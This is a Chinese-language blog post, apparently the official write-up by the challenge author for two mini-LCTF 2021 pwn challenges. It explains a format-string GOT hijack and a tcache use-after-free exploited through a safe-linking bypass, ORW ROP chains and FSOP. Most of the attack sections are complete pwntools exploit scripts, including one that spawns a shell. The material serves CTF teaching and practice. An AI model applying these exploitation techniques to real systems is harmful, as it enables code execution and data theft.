arttnba3's blog

- arttnba3的隐秘小窝 -

0%

【CTF题解-0x09】mini-LCTF 2021 official write up by arttnba3

0x00.绪论

很高兴能和RX大哥和协会的其他师傅一起出了这一次 minilCTF 2021 的题,虽然说只出了两道比较简单的题233333,不过还是希望大家能够喜欢()

点开下方查看题解👇

0x01.Baby Repeater - fmtstr + got hijack

预期是利用格式化字符串泄露 libc 和 程序加载基地址,之后利用格式化字符串劫持 got 表,比较方便的就是改 printf 为 system,只用修改3个字节,也看到有人选择改为 one_gadget 的,基本上都在预期内

解题思路

漏洞点比较明显,一个可以无限使用的格式化字符串漏洞

简单测一下,格式化字符串是栈上的第八个参数

image.png

checksec一下,发现no relro,那就直接利用格式字符串漏洞泄露程序加载基地址与 libc 基址后改 printf@got 为 system 后输入 ;sh 就可以拿到 shell 了

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
p = process('./baby_repeater')
e = ELF('./baby_repeater')
libc = ELF('./libc-2.31.so')

p.sendline("%107$p")
p.recvuntil(b"> Your sentence: ")
main_addr = int(p.recvuntil(b'\n', drop = True), 16) - 42
elf_base = main_addr - e.sym['main']
log.success('elf base: ' + hex(elf_base))

p.sendline("%111$p")
p.recvuntil(b"> Your sentence: ")
libc_base = int(p.recvuntil(b'\n', drop = True), 16) - libc.sym['__libc_start_main'] - 243
log.success('libc base: ' + hex(libc_base))

printf_got = elf_base + e.got['printf']
sys_addr = libc_base + libc.sym['system']
sys_low = sys_addr & 0xffff
sys_high = (sys_addr >> 16) & 0xff

payload = b'%' + str(sys_high - 15).encode() + b'c%12$hhn'
payload += b'%' + str(sys_low - sys_high).encode() + b'c%13$hn'
payload = payload.ljust(4 * 8, b'\x00')
payload += p64(printf_got + 2)
payload += p64(printf_got)

p.sendline(payload)
p.sendline(';sh')

p.interactive()

0x02. easytcache - Use After Free + safe-linking bypass + ORW (+ FSOP)

这道题校内没人出….只有一个校外的师傅做出来了,还非预期了……

BB:

image.png

程序分析

使用如下指令编译,保护全开,扣光符号表

1
$ g++ easytcache.cpp -o easytcache -fstack-protector-all -z now -z noexecstack -pie -s

在开头的init_state()函数中设置了沙箱,目的是让选手只能通过orw来获得flag

题目提供了分配、编辑、打印、释放堆块的功能,以及一个手动调用exit函数退出的功能

同时题目限制只能分配5个chunk,只能释放3次,超出这个限制便会抛出A3LibException中止程序

漏洞点在于释放堆块时没有将堆块指针置0,但是libc版本为2.31,有着tcache key,无法直接double free

题目本身有个逻辑漏洞,在 deleteNote() 函数中虽然会检测堆块是否已释放,但是会在检测之前使用取反的方式改变标志位,因此可以在改变标志位后使用 edit 功能清除 tcache key,之后完成doule free

解题思路

题目限制了只能分配5个 chunk,每一次分配都需要精打细算,为了能够达到更多次的任意地址写,所以考虑直接劫持 tcache 结构体

首先通过double free后打印泄漏出堆基址,之后就是 edit 后分配到 tcache 结构体,修改 counts 全满后将 tcache free 进 unsorted bin 后打印就可以泄漏出栈基址,此时我们还剩下两次 malloc 的机会,0 次 free 的机会,不过好在我们已经控制了 tcache 结构体,可以直接分配堆块到我们想要的地方
需要注意的是自 libc2.32 起新增了 safe-linking 机制(本题为 2.33),对于 tcache 与 fastbin 中的 chunk 的 next 指针都会与自身地址右移 12 位后的值进行异或,但是 tcache_entry 中存放的仍然为未加密指针

最常规的办法就是改 __malloc_hook 为 one_gadget 以get shell,但是这一题限制了系统调用,只能进行orw

image.png

解法一:__environ泄露栈地址在栈上构造ROP进行ORW

__environ 这个变量中保存着栈上地址,我们可以通过这个变量获取栈上地址,随后就可以分配一个位于栈上的 chunk ,最后就是常规的通过 ROP 进行 ORW

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#!/usr/bin/python3
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process(['./ld-2.33.so', './easytcache'], env={'LD_PRELOAD':'./libc.so.6'})#p = remote('pwn.woooo.tech', 10071)#
e = ELF('./easytcache')
libc = ELF('./libc.so.6')
one_gadget = 0xe6e73

def cmd(choice:int):
p.recvuntil(b"Your choice: ")
p.sendline(str(choice).encode())

def new(size:int):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())

def edit(index:int, content):
cmd(2)
p.recvuntil(b"index?")
p.sendline(str(index).encode())
p.recvuntil(b"content?")
p.send(content)

def dump(index:int):
cmd(3)
p.recvuntil(b"index?")
p.sendline(str(index).encode())
p.recvuntil(b"content: ")

def free(index:int):
cmd(4)
p.recvuntil(b"index?")
p.sendline(str(index).encode())

def exp():
# tcache double free
new(0x100) # idx0
free(0)
free(0)

# leak the heap base
log.info("start leaking the heap base addr...")
edit(0, b'arttnba3')
dump(0)
p.recvuntil(b'arttnba3')
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x10
log.success('heap base leak: ' + str(hex(heap_base)))

# tcache poisoning, hijack the tcache struct
edit(0, b'arttnba3' * 2)
free(0)
free(0)
edit(0, p64((heap_base + 0x10) ^ ((heap_base + 0x290 + 0x11c10 + 0x10) >> 12)))
new(0x100) # idx1
new(0x100) # idx2, our fake chunk based on tcache manager
edit(2, b'\x00\x00' * 39 + b'\x07\x00') # set it full

# leak the libc base
log.info("start leaking the libc base addr...")
free(2)
free(2)
edit(2, b'\x0a')
dump(2)
main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96 - 0xa
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base leak: ' + str(hex(libc_base)))
edit(2, (b"\x01\x00").ljust(128, b'\x00') + p64(libc_base + libc.sym['__environ'] - 0x10))

# construct the orw rop chain
log.info("start constructing the orw rop chain...")
flag_addr = libc_base + libc.sym['__free_hook']
pop_rdi_ret = libc_base + libc.search(asm("pop rdi ; ret")).__next__()
log.success(hex(pop_rdi_ret))
pop_rsi_ret = libc_base + libc.search(asm("pop rsi ; ret")).__next__()
pop_rdx_ret = libc_base + libc.search(asm("pop rdx ; ret")).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()
ret = libc_base + libc.search(asm('ret')).__next__()

orw = b''
orw += b'arttnba3' * 3 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x40) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x40) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x40) + p64(0) + p64(libc_base + libc.sym['write'])
log.success("construction complete")

# get the stack addr
new(0x10) # idx 3, fake chunk on __environ
edit(3, b'arttnba3' * 2)
dump(3)
__environ = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
log.success('stack addr leak: ' + hex(__environ))

# get the flag
log.info("start sending the orw rop chain...")
#gdb.attach(p)
edit(2, (b"\x00\x00" * 15 + b'\x01\x00').ljust(128, b'\x00') + p64(0) * 15 + p64(__environ - 0x168)) # local is 0x140, something may be wrong?
new(0x100) # idx 4, fake chunk on the stack

edit(4, orw)
sleep(1)
p.sendline(b'/flag\x00')

p.recvuntil(b"Done!\n")
log.success("flag received: ")
print(p.recvuntil(b'}').decode())
p.recv()
p.interactive()

if __name__ == '__main__':
exp()

解法二:通过 exit() 进行FSOP构造ROP进行ORW

考虑到exit()函数会调用_IO_flush_all_lockp ()函数,那么我们便可以劫持_IO_2_1_stderr_进行FSOP,控制程序执行流程

由于vtable表合法性检测的存在,因此我们可以把最后一次malloc的机会用掉,以劫持vtable表

笔者测试在这里如果选择直接改_IO_file_jumps表中的__overflow会触发SIGSEGV,因此考虑劫持一个合法的vtable表位,同时将stderr的vtable表劫持为该位置,接下来就可以通过__overflow控制程序执行流

注:其实只需要vtable表位置合法即可

同时我们还需要进行一次栈迁移,故考虑通过setcontext + 61上的gadget进行SROP,那么我们最初的跳转位置可以跳到这里:

我们还需要构造ucontext_t结构体 ,可以使用前面的那个预留的紧挨着top chunk的chunk,使用pwntools中的SigreturnFrame()可以快速构造该结构体,同时stderr + 8的位置需要指向该堆块

最后的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/python3
from pwn import *

context.log_level = 'DEBUG'
context.arch = 'amd64'

p = process(['./ld-2.33.so', './easytcache'], env={'LD_PRELOAD':'./libc.so.6'})#p = remote('sec.arttnba3.cn', 10004)
e = ELF('./easytcache')
libc = ELF('./libc.so.6')
one_gadget = 0xe6e73

def cmd(choice:int):
p.recvuntil(b"Your choice: ")
p.sendline(str(choice).encode())

def new(size:int):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())

def edit(index:int, content):
cmd(2)
p.recvuntil(b"index?")
p.sendline(str(index).encode())
p.recvuntil(b"content?")
p.send(content)

def dump(index:int):
cmd(3)
p.recvuntil(b"index?")
p.sendline(str(index).encode())
p.recvuntil(b"content: ")

def free(index:int):
cmd(4)
p.recvuntil(b"index?")
p.sendline(str(index).encode())

def exp():
# tcache double free
new(0x100) # idx0
free(0)
free(0)

# leak the heap base
log.info("start leaking the heap base addr...")
edit(0, b'arttnba3')
dump(0)
p.recvuntil(b'arttnba3')
heap_leak = u64(p.recv(6).ljust(8, b"\x00"))
heap_base = heap_leak - 0x10
log.success('heap base leak: ' + str(hex(heap_base)))

# tcache poisoning, hijack the tcache struct
edit(0, b'arttnba3' * 2)
free(0)
free(0)
edit(0, p64((heap_base + 0x10) ^ ((heap_base + 0x290 + 0x11c10 + 0x10) >> 12)))
new(0x100) # idx1
new(0x100) # idx2, our fake chunk based on tcache manager
edit(2, b'\x00\x00' * 39 + b'\x07\x00') # set it full

# leak the libc base
log.info("start leaking the libc base addr...")
free(2)
free(2)
edit(2, b'\x0a')
dump(2)
main_arena = u64(p.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 96 - 0xa
__malloc_hook = main_arena - 0x10
libc_base = __malloc_hook - libc.sym['__malloc_hook']
log.success('libc base leak: ' + str(hex(libc_base)))

# construct the fake frame for setcontext
log.info("start constructing the fake sigreturn frame on chunk 1...")
fake_frame_addr = heap_base + 0x290 + 0x11c10 + 0x10
fake_frame = SigreturnFrame()
fake_frame['uc_stack.ss_size'] = libc_base + libc.sym['setcontext'] + 61
fake_frame.rdi = 0
fake_frame.rsi = libc_base + libc.sym['__free_hook']
fake_frame.rdx = 0x200
fake_frame.rsp = libc_base + libc.sym['__free_hook']
fake_frame.rip = libc_base + libc.sym['read']
edit(1, bytes(fake_frame) + b"/flag\x00")
log.success("construction complete")

# construct the orw rop chain
log.info("start constructing the orw rop chain...")
flag_addr = fake_frame_addr + len(bytes(fake_frame))
pop_rdi_ret = libc_base + libc.search(asm("pop rdi ; ret")).__next__()
pop_rsi_ret = libc_base + libc.search(asm("pop rsi ; ret")).__next__()
pop_rdx_ret = libc_base + libc.search(asm("pop rdx ; ret")).__next__()
pop_rdx_pop_rbx_ret = libc_base + libc.search(asm('pop rdx ; pop rbx ; ret')).__next__()

orw = b''
orw += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(4) + p64(libc_base + libc.sym['open'])
orw += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x40) + p64(0) + p64(libc_base + libc.sym['read'])
orw += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(flag_addr) + p64(pop_rdx_pop_rbx_ret) + p64(0x40) + p64(0) + p64(libc_base + libc.sym['write'])
log.success("construction complete")

#construct the fake IO_FILE
log.info("start constructing the fake stderr structure...")
fake_file = b""
fake_file += p64(0) # _flags, an magic number
fake_file += p64(fake_frame_addr) # _IO_read_ptr
fake_file += p64(0) # _IO_read_end
fake_file += p64(0) # _IO_read_base
fake_file += p64(0) # _IO_write_base
fake_file += b"arttnba3" # _IO_write_ptr
fake_file += p64(0) # _IO_write_end
fake_file += p64(0) # _IO_buf_base;
fake_file += p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4 # from _IO_save_base to _markers
fake_file += p64(libc_base + libc.sym['_IO_2_1_stdout_']) # the FILE chain ptr
fake_file += p32(2) # _fileno for stderr is 2
fake_file += p32(0) # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file += p16(0) # _cur_column
fake_file += b"\x00" # _vtable_offset
fake_file += b"\n" # _shortbuf[1]
fake_file += p32(0) # padding
fake_file += p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x1ef0) # _IO_stdfile_2_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file += p64(0) # _codecvt, usually 0
fake_file += p64(libc_base + libc.sym['_IO_2_1_stderr_'] - 0xe40) # _IO_wide_data_2
fake_file += p64(0) * 3 # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF) # _mode, usually -1
fake_file += b"\x00" * 19 # _unused2
fake_file = fake_file.ljust(0xD8,b'\x00') # adjust to vtable
fake_file += p64(libc_base + 0x1e2550) # unable to hijack to _IO_file_jumps directly, so we choose a location nearby
log.success("construction complete")

# tcache poisoning
log.info("start tcache poisoning...")
edit(2, b"\x07\x00" * 64 + p64(0) * 15 + p64(libc_base + libc.sym['_IO_2_1_stderr_']))
new(0x100) # idx 4, our fake chunk based on _IO_2_1_stderr_
edit(3, fake_file)
edit(2, b"\x07\x00" * 64 + p64(0) * 15 + p64(libc_base + 0x1e2550 + 0x10))
#gdb.attach(p)
new(0x100) # idx 5, our fake chunk base on fake __overflow
edit(4, p64(libc_base + 0x14A0A0) * 2)
log.success("tcache poisoning complete")

# get the flag
log.info("start sending the orw rop chain...")
#gdb.attach(p)
cmd(5)
sleep(1)
p.sendline(orw)
log.success("orw rop chain has been sent")
log.info("start getting the flag...")
p.recvuntil(b"THERE'S NO DOUBT THAT YOU ARE THINKING ABOUT PEACH!\n")
log.success("flag received: ")
print(p.recvuntil(b'}').decode())
p.recv()
p.interactive()

if __name__ == '__main__':
exp()

非预期:

影二つ师傅, 本场比赛中唯一的解:

image.png

image.png

笔者暂时还没复现过这个非预期,不过不得不说这确实是一个不错的思路

非预期二:

House of Kiwi,由fmyy师傅提供的走FSOP解法

image.png

以上两种非预期解法都只需要使用一次任意地址写(懂了,明年把malloc次数减少一次

Welcome to my other publishing channels